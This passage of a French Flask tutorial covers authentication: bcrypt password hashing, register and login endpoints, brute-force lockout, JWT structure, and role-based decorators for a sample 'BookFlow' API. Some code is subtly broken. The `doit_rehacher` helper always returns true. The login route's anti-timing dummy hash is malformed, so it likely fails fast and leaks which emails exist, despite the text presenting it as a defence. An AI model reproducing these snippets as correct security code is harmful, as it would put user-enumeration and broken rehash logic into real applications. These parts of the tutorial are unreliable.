          handler.setLevel(logging.INFO)
          app.logger.addHandler(handler)
          app.logger.setLevel(logging.INFO)

      # ── Routes système ──
      @app.route('/health')
      def health():
          return jsonify({
              'status': 'OK',
              'app': 'BookFlow API',
              'version': '1.0.0',
              'environment': config_name
          })

      app.logger.info(f'BookFlow API démarrée [{config_name}]')
      return app


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FIN DE LA PARTIE 7 — API REST

  [DOCS] Tu as appris :
     -> Principes REST : 6 contraintes, niveaux de maturité Richardson
     -> Conception d'API : nommage ressources, méthodes HTTP, codes statut
     -> Format JSON standardisé pour toutes les réponses (succès et erreur)
     -> Marshmallow : schémas de sérialisation/validation, champs imbriqués,
       hooks pre/post, auto-schéma SQLAlchemy, schémas conditionnels par rôle
     -> Versioning d'API : URL versioning, header versioning, dépréciation
     -> HATEOAS : liens hypermedia dans les réponses
     -> Rate Limiting : Flask-Limiter, quotas par route et par utilisateur/plan
     -> CORS : configuration fine par environnement
     -> En-têtes de sécurité : X-Content-Type-Options, HSTS, ETag, Cache-Control
     -> Postman : collections, environnements, variables, scripts tests, Newman
     -> Swagger/OpenAPI : Flask-RESTX pour documentation automatique

  -> Prochaine étape : Partie 8 — Authentification (JWT, login, register, sessions)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
              Flask Master Guide © 2024 — Guide Complet Génie Logiciel
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

╔══════════════════════════════════════════════════════════════════════════════════════╗
║              FLASK MASTER GUIDE — PARTIE 8 : AUTHENTIFICATION                     ║
║         JWT, Login, Register, Sessions, Refresh Tokens et Sécurité               ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

Partie         : 8 / 20
Chapitres      : 29 -> 32
Prérequis      : Parties 1 à 7 (HTTP, Flask, BDD, CRUD, API REST)
Projet fil     : BookFlow — Système d'authentification complet et sécurisé

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
                          TABLE DES MATIÈRES — PARTIE 8
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  CHAPITRE 29 — Login et Register : inscription et connexion sécurisées
  CHAPITRE 30 — JWT (JSON Web Tokens) : fonctionnement et implémentation
  CHAPITRE 31 — Sessions Flask : cookies et état côté serveur
  CHAPITRE 32 — Sécurité avancée : refresh tokens, révocation, 2FA

  PROJET FIL ROUGE — BookFlow : système d'auth complet production-ready

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


╔══════════════════════════════════════════════════════════════════════════════════════╗
║         CHAPITRE 29 — LOGIN ET REGISTER : INSCRIPTION ET CONNEXION                ║
║     Hachage de mots de passe, validation et sécurité dès la base                  ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QUE L'AUTHENTIFICATION ?
────────────────────────────────────
L'authentification répond à la question : "Qui es-tu ?"
L'autorisation répond à : "As-tu le droit de faire ça ?"

Ces deux concepts sont souvent confondus :
  AUTHENTIFICATION (AuthN) -> Vérifier l'identité (login/password, token)
  AUTORISATION (AuthZ)     -> Vérifier les droits (rôles, permissions)

CYCLE COMPLET D'AUTHENTIFICATION BOOKFLOW :

  ┌─────────────────────────────────────────────────────────────────────┐
  │                  CYCLE D'AUTHENTIFICATION JWT                       │
  └─────────────────────────────────────────────────────────────────────┘

  1. REGISTER : POST /auth/register
     -> Client envoie : email, mot_de_passe, nom
     -> Serveur : valide, hache le mot de passe, crée le compte
     -> Réponse : 201 Created + message de confirmation

  2. LOGIN : POST /auth/login
     -> Client envoie : email, mot_de_passe
     -> Serveur : vérifie le hash bcrypt, génère access + refresh tokens
     -> Réponse : 200 OK + {access_token, refresh_token, user}

  3. REQUÊTES PROTÉGÉES :
     -> Client envoie : Authorization: Bearer <access_token>
     -> Serveur : décode le JWT, vérifie signature + expiration
     -> Réponse : données protégées

  4. REFRESH : POST /auth/refresh
     -> Client envoie : refresh_token (quand access_token expiré)
     -> Serveur : vérifie le refresh token, génère un nouvel access token
     -> Réponse : 200 OK + {access_token}

  5. LOGOUT : POST /auth/logout
     -> Client envoie : access_token
     -> Serveur : ajoute le token à la blacklist (révocation)
     -> Réponse : 200 OK


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  HACHAGE DES MOTS DE PASSE AVEC BCRYPT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

POURQUOI HACHER LES MOTS DE PASSE ?
─────────────────────────────────────
[X] Ne JAMAIS stocker un mot de passe en clair en BDD.
Si la BDD est compromise, tous les mots de passe sont exposés.

PROBLÈMES DES AUTRES APPROCHES :
  MD5/SHA1    -> Rapides -> facilement bruteforcés avec des GPU
  SHA256      -> Toujours trop rapide -> même problème
  Chiffrement -> Réversible -> si la clé est compromise, tout est perdu

BCRYPT — POURQUOI C'EST LA SOLUTION :
  [OK] LENT par conception (travail ajustable avec le "cost factor")
  [OK] Génère un SEL aléatoire automatiquement (anti rainbow tables)
  [OK] Irréversible (hachage à sens unique)
  [OK] Résistant aux attaques GPU (algorithme mémoire-intensif)
  [OK] Standard de l'industrie (Django, Laravel, Rails l'utilisent)

INSTALLATION :
  pip install bcrypt

IMPLÉMENTATION COMPLÈTE :

  import bcrypt

  class HashMdp:
      """
      Gestionnaire de hachage de mots de passe avec bcrypt.
      Encapsule toute la logique de sécurité.
      """

      # Facteur de coût (rounds) — augmenter = plus lent = plus sécurisé
      # 12 = ~250ms sur un serveur moderne (bon équilibre sécurité/performance)
      # 10 = ~100ms (minimum acceptable)
      # 14 = ~1 seconde (pour les systèmes très sensibles)
      ROUNDS = 12

      @staticmethod
      def hacher(mot_de_passe: str) -> str:
          """
          Hache un mot de passe avec bcrypt.

          Processus :
            1. Génère un sel aléatoire de 16 bytes
            2. Combine sel + mot_de_passe
            3. Applique bcrypt N fois (2^rounds itérations)
            4. Retourne une string de 60 caractères :
               $2b$12$<22 chars sel><31 chars hash>
               └─┬─┘ └┬┘
                 │    └── Cost factor (12)
                 └─────── Version bcrypt (2b)

          Args:
              mot_de_passe : Le mot de passe en clair

          Returns:
              Le hash bcrypt (60 caractères)
          """
          if not mot_de_passe:
              raise ValueError("Le mot de passe ne peut pas être vide")

          # Encoder en bytes (bcrypt travaille avec des bytes)
          mdp_bytes = mot_de_passe.encode('utf-8')

          # Générer le sel ET hasher en une seule opération
          hash_bytes = bcrypt.hashpw(mdp_bytes, bcrypt.gensalt(rounds=HashMdp.ROUNDS))

          # Retourner en string pour stocker en BDD
          return hash_bytes.decode('utf-8')

      @staticmethod
      def verifier(mot_de_passe: str, hash_stocke: str) -> bool:
          """
          Vérifie qu'un mot de passe correspond à son hash.

          Processus :
            1. Extrait le sel du hash stocké
            2. Hache le mot de passe soumis AVEC LE MÊME SEL
            3. Compare les deux hashes (comparaison en temps constant)

          Args:
              mot_de_passe : Le mot de passe soumis (en clair)
              hash_stocke  : Le hash bcrypt stocké en BDD

          Returns:
              True si le mot de passe est correct, False sinon

          [ATTENTION] NE JAMAIS comparer les hashes avec == (timing attack !)
          bcrypt.checkpw utilise hmac.compare_digest (temps constant)
          """
          if not mot_de_passe or not hash_stocke:
              return False

          try:
              return bcrypt.checkpw(
                  mot_de_passe.encode('utf-8'),
                  hash_stocke.encode('utf-8')
              )
          except Exception:
              return False  # Hash invalide ou corrompu

      @staticmethod
      def doit_rehacher(hash_stocke: str) -> bool:
          """
          Vérifie si le hash doit être mis à jour (si on augmente les rounds).
          À utiliser lors du login pour migrer progressivement les anciens hashs.
          """
          try:
              return bcrypt.checkpw(b'', hash_stocke.encode()) is not None
          except Exception:
              return True

  # EXEMPLES D'UTILISATION :
  # hash = HashMdp.hacher("MonSuperMdp123!")
  # -> "$2b$12$X7Yf3kL8mN2pQrTuWxYzAe.1Bv5Cg9Dh7Ej1Fk3Gl5Hm7In9Jo1Kp"

  # HashMdp.verifier("MonSuperMdp123!", hash) -> True
  # HashMdp.verifier("mauvaismdp", hash)      -> False

  # TIMING TEST (pour comprendre le coût) :
  import time
  debut = time.time()
  HashMdp.hacher("test")
  print(f"Hachage bcrypt rounds=12 : {(time.time()-debut)*1000:.0f}ms")
  # -> Hachage bcrypt rounds=12 : 248ms


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  ENDPOINT REGISTER (INSCRIPTION)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/routes/api/auth.py
  from flask import Blueprint, jsonify, request
  from marshmallow import ValidationError
  from app import db
  from app.models import Utilisateur
  from app.schemas import UtilisateurSchema
  from app.utils.hash import HashMdp
  import re

  auth_bp = Blueprint('auth', __name__)

  # ── Constantes de validation ──
  EMAIL_REGEX = re.compile(
      r'^[a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}$'
  )

  def valider_force_mdp(mdp: str) -> list:
      """
      Valide la force d'un mot de passe.
      Retourne la liste des règles non respectées.
      """
      erreurs = []
      if len(mdp) < 8:
          erreurs.append("Au moins 8 caractères")
      if not any(c.isupper() for c in mdp):
          erreurs.append("Au moins une majuscule")
      if not any(c.islower() for c in mdp):
          erreurs.append("Au moins une minuscule")
      if not any(c.isdigit() for c in mdp):
          erreurs.append("Au moins un chiffre")
      return erreurs

  @auth_bp.route('/register', methods=['POST'])
  def register():
      """
      POST /api/v1/auth/register
      Inscrit un nouvel utilisateur.

      Body JSON :
        nom           (string, requis, 2-100 chars)
        email         (string, requis, format valide)
        mot_de_passe  (string, requis, min 8 chars)

      Réponses :
        201 Created     -> Compte créé
        400 Bad Request -> Données invalides
        409 Conflict    -> Email déjà utilisé
      """
      if not request.is_json:
          return jsonify({'error': 'application/json requis'}), 400

      data = request.get_json(silent=True) or {}

      # ── Validation des champs ──
      erreurs = {}

      nom = str(data.get('nom', '')).strip()
      if not nom or len(nom) < 2:
          erreurs['nom'] = "Nom requis (minimum 2 caractères)"
      elif len(nom) > 100:
          erreurs['nom'] = "Nom trop long (maximum 100 caractères)"

      email = str(data.get('email', '')).strip().lower()
      if not email:
          erreurs['email'] = "Email obligatoire"
      elif not EMAIL_REGEX.match(email):
          erreurs['email'] = "Format d'email invalide"
      elif len(email) > 254:
          erreurs['email'] = "Email trop long"

      mdp = data.get('mot_de_passe', '')
      if not mdp:
          erreurs['mot_de_passe'] = "Mot de passe obligatoire"
      else:
          regles_non_respectees = valider_force_mdp(mdp)
          if regles_non_respectees:
              erreurs['mot_de_passe'] = regles_non_respectees

      if erreurs:
          return jsonify({
              'success': False,
              'error': 'Données invalides',
              'details': erreurs
          }), 400

      # ── Vérifier l'unicité de l'email ──
      if Utilisateur.query.filter_by(email=email).first():
          return jsonify({
              'success': False,
              'error': 'Cet email est déjà associé à un compte'
          }), 409

      # ── Créer l'utilisateur ──
      try:
          user = Utilisateur(
              nom=nom,
              email=email,
              role='user',
              est_actif=True,
              est_verifie=False  # Nécessitera une vérification email
          )
          user.set_password(mdp)  # Hash via bcrypt

          db.session.add(user)
          db.session.commit()

          # Optionnel : envoyer un email de vérification
          # envoyer_email_verification(user)

          return jsonify({
              'success': True,
              'message': 'Compte créé avec succès ! Vérifiez votre email.',
              'data': {
                  'id': user.id,
                  'nom': user.nom,
                  'email': user.email
              }
          }), 201

      except Exception as e:
          db.session.rollback()
          from flask import current_app
          current_app.logger.error(f"Erreur création compte : {e}")
          return jsonify({'error': 'Erreur interne du serveur'}), 500


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  ENDPOINT LOGIN (CONNEXION)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  @auth_bp.route('/login', methods=['POST'])
  def login():
      """
      POST /api/v1/auth/login
      Authentifie un utilisateur et retourne les tokens JWT.

      Body JSON :
        email         (string, requis)
        mot_de_passe  (string, requis)

      Réponses :
        200 OK          -> Connecté + tokens
        400 Bad Request -> Données manquantes
        401 Unauthorized -> Identifiants incorrects
        403 Forbidden   -> Compte désactivé
      """
      if not request.is_json:
          return jsonify({'error': 'application/json requis'}), 400

      data = request.get_json(silent=True) or {}

      email = str(data.get('email', '')).strip().lower()
      mdp = data.get('mot_de_passe', '')

      if not email or not mdp:
          return jsonify({
              'success': False,
              'error': 'Email et mot de passe requis'
          }), 400

      # ── Trouver l'utilisateur ──
      user = Utilisateur.query.filter_by(email=email).first()

      # [ATTENTION] SÉCURITÉ : répondre TOUJOURS le même message pour éviter
      # l'énumération d'emails ("cet email n'existe pas" révèle les comptes)
      message_erreur = 'Email ou mot de passe incorrect'

      if not user:
          # Simuler le temps de vérification bcrypt pour éviter les timing attacks
          HashMdp.verifier('dummy', '$2b$12$dummyhashtoavoidtimingattacks123456789')
          return jsonify({'success': False, 'error': message_erreur}), 401

      if not user.check_password(mdp):
          return jsonify({'success': False, 'error': message_erreur}), 401

      if not user.est_actif:
          return jsonify({
              'success': False,
              'error': 'Ce compte a été désactivé. Contactez le support.'
          }), 403

      # ── Générer les tokens JWT ──
      from app.utils.jwt_utils import generer_tokens
      tokens = generer_tokens(user)

      # ── Mettre à jour last_login ──
      from datetime import datetime, timezone
      user.last_login = datetime.now(timezone.utc)
      db.session.commit()

      # ── Logger la connexion ──
      from flask import current_app
      current_app.logger.info(
          f"Connexion réussie : {user.email} (id={user.id}) "
          f"depuis {request.remote_addr}"
      )

      return jsonify({
          'success': True,
          'message': f'Bienvenue, {user.nom} !',
          'data': {
              'access_token':  tokens['access_token'],
              'refresh_token': tokens['refresh_token'],
              'token_type':    'Bearer',
              'expires_in':    tokens['expires_in'],  # Secondes
              'user': {
                  'id':        user.id,
                  'nom':       user.nom,
                  'email':     user.email,
                  'role':      user.role,
                  'avatar_url': user.avatar_url
              }
          }
      }), 200


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  PROTECTION ANTI BRUTE-FORCE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le brute-force consiste à tester des milliers de mots de passe.
On doit le détecter et le bloquer.

  # app/utils/rate_limit_login.py
  from datetime import datetime, timezone, timedelta
  from collections import defaultdict
  import threading

  class ProtectionBruteForce:
      """
      Protection anti brute-force pour le login.
      Bloque temporairement après N tentatives échouées.
      """

      MAX_TENTATIVES = 5           # Tentatives avant blocage
      FENETRE_SECONDES = 300       # 5 minutes
      DUREE_BLOCAGE_SECONDES = 900 # 15 minutes de blocage

      def __init__(self):
          self._tentatives = defaultdict(list)  # {ip_ou_email: [timestamps]}
          self._bloques = {}                    # {ip_ou_email: timestamp_deblocage}
          self._verrou = threading.Lock()

      def est_bloque(self, identifiant: str) -> tuple:
          """
          Vérifie si un identifiant (IP ou email) est bloqué.

          Returns:
              (bool, int) -> (est_bloqué, secondes_restantes)
          """
          with self._verrou:
              if identifiant in self._bloques:
                  maintenant = datetime.now(timezone.utc)
                  deblocage = self._bloques[identifiant]
                  if maintenant < deblocage:
                      restant = int((deblocage - maintenant).total_seconds())
                      return True, restant
                  else:
                      # Blocage expiré : nettoyer
                      del self._bloques[identifiant]
                      self._tentatives.pop(identifiant, None)
          return False, 0

      def enregistrer_echec(self, identifiant: str) -> bool:
          """
          Enregistre un échec de connexion.

          Returns:
              True si le compte vient d'être bloqué
          """
          with self._verrou:
              maintenant = datetime.now(timezone.utc)
              fenetre_debut = maintenant - timedelta(seconds=self.FENETRE_SECONDES)

              # Nettoyer les anciennes tentatives
              self._tentatives[identifiant] = [
                  t for t in self._tentatives[identifiant]
                  if t > fenetre_debut
              ]

              # Ajouter la nouvelle tentative
              self._tentatives[identifiant].append(maintenant)

              # Vérifier si le seuil est atteint
              if len(self._tentatives[identifiant]) >= self.MAX_TENTATIVES:
                  self._bloques[identifiant] = (
                      maintenant + timedelta(seconds=self.DUREE_BLOCAGE_SECONDES)
                  )
                  return True  # Vient d'être bloqué
          return False

      def enregistrer_succes(self, identifiant: str):
          """Remet à zéro les tentatives après une connexion réussie."""
          with self._verrou:
              self._tentatives.pop(identifiant, None)
              self._bloques.pop(identifiant, None)

  # Instance globale (singleton)
  protection_bf = ProtectionBruteForce()

  # Utilisation dans le login :
  @auth_bp.route('/login', methods=['POST'])
  def login():
      ip = request.remote_addr
      email = request.get_json(silent=True, force=True).get('email', '').lower()

      # Vérifier le blocage (par IP ET par email)
      for identifiant in [ip, email]:
          bloque, restant = protection_bf.est_bloque(identifiant)
          if bloque:
              return jsonify({
                  'success': False,
                  'error': 'Compte temporairement bloqué suite à trop de tentatives',
                  'retry_after': restant
              }), 429

      # ... vérification normale ...

      if not user or not user.check_password(mdp):
          protection_bf.enregistrer_echec(ip)
          protection_bf.enregistrer_echec(email)
          return jsonify({'error': 'Identifiants incorrects'}), 401

      # Succès : remettre à zéro
      protection_bf.enregistrer_succes(ip)
      protection_bf.enregistrer_succes(email)
      # ...


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 29.1 : Teste la résistance au timing attack.
    Compare le temps de réponse de /login pour un email existant
    et un email inexistant. Corrige si une différence est détectée.

  Exercice 29.2 : Ajoute la vérification de la force du mot de passe
    côté API. Retourne un score de force (0-4) et les règles manquantes.

  Exercice 29.3 : Implémente un endpoint POST /auth/verifier-email/<token>
    qui active le compte après clic sur le lien email.

NIVEAU INTERMÉDIAIRE :
  Exercice 29.4 : Ajoute un système de "se souvenir de moi" au login.
    Si remember_me=true : refresh token valide 30 jours.
    Sinon : refresh token valide 24 heures.

  Exercice 29.5 : Implémente un audit log des connexions :
    chaque login (réussi ou non) enregistre : email, IP, user_agent,
    timestamp, succès/échec, raison d'échec.

NIVEAU AVANCÉ :
  Exercice 29.6 : Implémente le rehachage progressif des mots de passe.
    Si un utilisateur se connecte et que son hash utilise rounds=10,
    le rehacher automatiquement avec rounds=12 lors du login réussi.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 29.2 — Score de force du mot de passe :

  def analyser_force_mdp(mdp: str) -> dict:
      """
      Analyse la force d'un mot de passe.
      Retourne un score (0-5) et les détails.
      """
      if not mdp:
          return {'score': 0, 'niveau': 'absent', 'regles': []}

      regles = {
          'longueur_8':    len(mdp) >= 8,
          'longueur_12':   len(mdp) >= 12,
          'majuscule':     any(c.isupper() for c in mdp),
          'minuscule':     any(c.islower() for c in mdp),
          'chiffre':       any(c.isdigit() for c in mdp),
          'special':       any(c in '!@#$%^&*()_+-=[]{}|;:,.<>?' for c in mdp)
      }

      score = sum(regles.values())

      niveaux = {
          0: 'très_faible',
          1: 'très_faible',
          2: 'faible',
          3: 'moyen',
          4: 'fort',
          5: 'très_fort',
          6: 'excellent'
      }

      manquant = []
      if not regles['longueur_8']:   manquant.append("8 caractères minimum")
      if not regles['majuscule']:    manquant.append("une lettre majuscule")
      if not regles['minuscule']:    manquant.append("une lettre minuscule")
      if not regles['chiffre']:      manquant.append("un chiffre")
      if not regles['special']:      manquant.append("un caractère spécial")

      return {
          'score': score,
          'niveau': niveaux[score],
          'acceptable': score >= 3,
          'manquant': manquant,
          'regles': regles
      }

  # Endpoint
  @auth_bp.route('/verifier-mdp', methods=['POST'])
  def verifier_force_mdp():
      data = request.get_json(silent=True) or {}
      mdp = data.get('mot_de_passe', '')
      analyse = analyser_force_mdp(mdp)
      return jsonify({'success': True, 'data': analyse})

CORRIGÉ 29.6 — Rehachage progressif :

  @auth_bp.route('/login', methods=['POST'])
  def login():
      # ... vérification normale ...
      if user and user.check_password(mdp):
          # Vérifier si le hash doit être mis à jour
          import bcrypt
          hash_bytes = user.mot_de_passe_hash.encode('utf-8')
          rounds_actuels = bcrypt.getcost(hash_bytes)

          if rounds_actuels < HashMdp.ROUNDS:
              # Rehacher avec le nouveau facteur de coût
              user.set_password(mdp)
              db.session.commit()
              from flask import current_app
              current_app.logger.info(
                  f"Mot de passe rehashé pour user {user.id} "
                  f"({rounds_actuels} -> {HashMdp.ROUNDS} rounds)"
              )
          # ... continuer le login normal ...


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 30 — JWT : FONCTIONNEMENT ET IMPLÉMENTATION                 ║
║     Anatomie d'un token, signatures, expiration et Flask-JWT-Extended             ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  ANATOMIE D'UN JWT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Un JWT (JSON Web Token) est une string en 3 parties séparées par des points :

  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6Ik1vbW8iLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
  └───────────────────────────────────┘.└──────────────────────────────────────────────────────────────┘.└──────────────────────────────────────────┘
              HEADER (Base64URL)                             PAYLOAD (Base64URL)                                  SIGNATURE (HMAC-SHA256)

PARTIE 1 — HEADER :
  Base64URL decode -> {"alg": "HS256", "typ": "JWT"}
  alg : algorithme de signature (HS256, RS256, ES256)
  typ : type de token ("JWT")

PARTIE 2 — PAYLOAD (CLAIMS) :
  Base64URL decode -> {
    "sub": "42",                   <- Subject (ID utilisateur)
    "iat": 1705312800,             <- Issued At (timestamp émission)
    "exp": 1705316400,             <- Expiration (timestamp)
    "jti": "uuid-unique-id",       <- JWT ID (pour la révocation)
    "type": "access",              <- Type de token
    --- CLAIMS PERSONNALISÉS ---
    "nom": "Momo Traoré",
    "email": "momo@bookflow.com",
    "role": "user"
  }

PARTIE 3 — SIGNATURE :
  HMAC-SHA256(
    base64url(header) + "." + base64url(payload),
    SECRET_KEY
  )

  -> La signature GARANTIT que le token n'a pas été falsifié.
  -> Si on modifie le payload, la signature ne correspond plus.
  -> Sans la SECRET_KEY, impossible de forger un token valide.

[ATTENTION] IMPORTANT : Le payload est ENCODÉ (Base64), pas CHIFFRÉ.
N'importe qui peut LIRE le payload.
Ne JAMAIS mettre de données sensibles dans le payload.

VALIDER UN JWT (ce que fait Flask-JWT-Extended) :
  1. Décoder le header et le payload (Base64URL)
  2. Recalculer la signature avec la SECRET_KEY du serveur
  3. Comparer la signature calculée avec la signature du token
  4. Vérifier que exp > maintenant (pas expiré)
  5. Vérifier que le token n'est pas dans la blacklist (révocation)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  INSTALLATION ET CONFIGURATION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  pip install flask-jwt-extended

  # app/config.py
  from datetime import timedelta

  class Config:
      # ── JWT Configuration ──
      JWT_SECRET_KEY = os.getenv('JWT_SECRET_KEY')
      # [ATTENTION] Doit être une chaîne longue et aléatoire !
      # Générer : python -c "import secrets; print(secrets.token_hex(32))"

      JWT_ALGORITHM = 'HS256'  # HMAC-SHA256

      # Durée de vie des tokens
      JWT_ACCESS_TOKEN_EXPIRES  = timedelta(hours=1)    # Access : 1 heure
      JWT_REFRESH_TOKEN_EXPIRES = timedelta(days=30)    # Refresh : 30 jours

      # Où chercher le token dans la requête
      JWT_TOKEN_LOCATION = ['headers']  # ['headers', 'cookies', 'query_string']
      JWT_HEADER_NAME = 'Authorization'
      JWT_HEADER_TYPE = 'Bearer'

      # Pour les cookies (si JWT_TOKEN_LOCATION inclut 'cookies')
      JWT_COOKIE_SECURE = True       # HTTPS uniquement (prod)
      JWT_COOKIE_SAMESITE = 'Lax'   # Protection CSRF cookies
      JWT_COOKIE_CSRF_PROTECT = True # Double submit CSRF pour cookies

  # app/__init__.py
  from flask_jwt_extended import JWTManager

  jwt_manager = JWTManager()

  def create_app(config_name='development'):
      app = Flask(__name__)
      app.config.from_object(config_map[config_name])

      jwt_manager.init_app(app)

      # Callbacks JWT (gestionnaires d'erreurs)
      @jwt_manager.expired_token_loader
      def token_expire(jwt_header, jwt_payload):
          return jsonify({
              'success': False,
              'error': 'Token expiré',
              'code': 'TOKEN_EXPIRED'
          }), 401

      @jwt_manager.invalid_token_loader
      def token_invalide(raison):
          return jsonify({
              'success': False,
              'error': f'Token invalide : {raison}',
              'code': 'TOKEN_INVALID'
          }), 401

      @jwt_manager.unauthorized_loader
      def token_absent(raison):
          return jsonify({
              'success': False,
              'error': 'Token d\'authentification requis',
              'code': 'TOKEN_MISSING'
          }), 401

      @jwt_manager.revoked_token_loader
      def token_revoque(jwt_header, jwt_payload):
          return jsonify({
              'success': False,
              'error': 'Token révoqué (déconnexion effectuée)',
              'code': 'TOKEN_REVOKED'
          }), 401

      return app


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  UTILITAIRES JWT BOOKFLOW
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/utils/jwt_utils.py
  from flask_jwt_extended import (
      create_access_token,
      create_refresh_token,
      get_jwt_identity,
      get_jwt,
      jwt_required,
      verify_jwt_in_request
  )
  from functools import wraps
  from flask import jsonify, g
  from app.models import Utilisateur

  def generer_tokens(user) -> dict:
      """
      Génère un access token et un refresh token pour un utilisateur.

      Les claims additionnels sont inclus dans le payload JWT.
      Ne pas inclure de données sensibles (mot de passe, etc.)

      Args:
          user : Objet Utilisateur SQLAlchemy

      Returns:
          dict avec access_token, refresh_token, expires_in
      """
      # Claims additionnels inclus dans le token
      additional_claims = {
          'nom':   user.nom,
          'email': user.email,
          'role':  user.role,
          'type':  'access'
      }

      # Le "identity" est l'ID de l'utilisateur (subject du JWT)
      # On utilise une string pour éviter les problèmes de sérialisation
      identity = str(user.id)

      access_token = create_access_token(
          identity=identity,
          additional_claims=additional_claims
      )

      refresh_token = create_refresh_token(
          identity=identity,
          additional_claims={'type': 'refresh', 'email': user.email}
      )

      from flask import current_app
      from datetime import timedelta
      expires = current_app.config.get(
          'JWT_ACCESS_TOKEN_EXPIRES', timedelta(hours=1)
      )

      return {
          'access_token':  access_token,
          'refresh_token': refresh_token,
          'expires_in':    int(expires.total_seconds()),
          'token_type':    'Bearer'
      }

  def obtenir_utilisateur_courant() -> Utilisateur:
      """
      Retourne l'utilisateur connecté depuis le JWT.
      Met en cache dans g pour éviter les requêtes BDD multiples.
      """
      if hasattr(g, 'current_user') and g.current_user:
          return g.current_user

      user_id = get_jwt_identity()
      if not user_id:
          return None

      user = Utilisateur.query.get(int(user_id))
      g.current_user = user
      return user

  # ── DÉCORATEURS DE PROTECTION ──

  def login_requis(f):
      """
      Décorateur : protège une route avec JWT.
      Equivalent à @jwt_required() mais plus lisible et extensible.
      """
      @wraps(f)
      @jwt_required()
      def wrapper(*args, **kwargs):
          user = obtenir_utilisateur_courant()
          if not user:
              return jsonify({'error': 'Utilisateur introuvable'}), 401
          if not user.est_actif:
              return jsonify({'error': 'Compte désactivé'}), 403
          return f(*args, **kwargs)
      return wrapper

  def admin_requis(f):
      """
      Décorateur : route accessible aux admins uniquement.
      """
      @wraps(f)
      @jwt_required()
      def wrapper(*args, **kwargs):
          user = obtenir_utilisateur_courant()
          if not user:
              return jsonify({'error': 'Non authentifié'}), 401
          if user.role != 'admin':
              return jsonify({
                  'error': 'Droits administrateur requis'
              }), 403
          return f(*args, **kwargs)
      return wrapper

  def role_requis(*roles_autorises):
      """
      Décorateur factory : route accessible aux rôles spécifiés.

      Usage : @role_requis('admin', 'moderateur')
      """
      def decorateur(f):
          @wraps(f)
          @jwt_required()
          def wrapper(*args, **kwargs):
              user = obtenir_utilisateur_courant()
              if not user:
                  return jsonify({'error': 'Non authentifié'}), 401
              if user.role not in roles_autorises:
                  return jsonify({
                      'error': f'Rôle requis : {" ou ".join(roles_autorises)}',
                      'role_actuel': user.role
                  }), 403
              return f(*args, **kwargs)
          return wrapper
      return decorateur

  def proprietaire_ou_admin(f):
      """
      Décorateur : l'utilisateur peut accéder à SES données,
      ou un admin peut accéder à n'importe quelles données.

      La route doit avoir un paramètre user_id dans l'URL.
      """
      @wraps(f)
      @jwt_required()
      def wrapper(*args, **kwargs):
          current_user = obtenir_utilisateur_courant()
          if not current_user:
              return jsonify({'error': 'Non authentifié'}), 401

          user_id_param = kwargs.get('user_id') or kwargs.get('id')

          if current_user.role != 'admin':
              if user_id_param and int(user_id_param) != current_user.id:
                  return jsonify({
                      'error': 'Accès refusé : ce profil ne vous appartient pas'
                  }), 403

          return f(*args, **kwargs)
      return wrapper


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  UTILISATION DES DÉCORATEURS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  from app.utils.jwt_utils import (
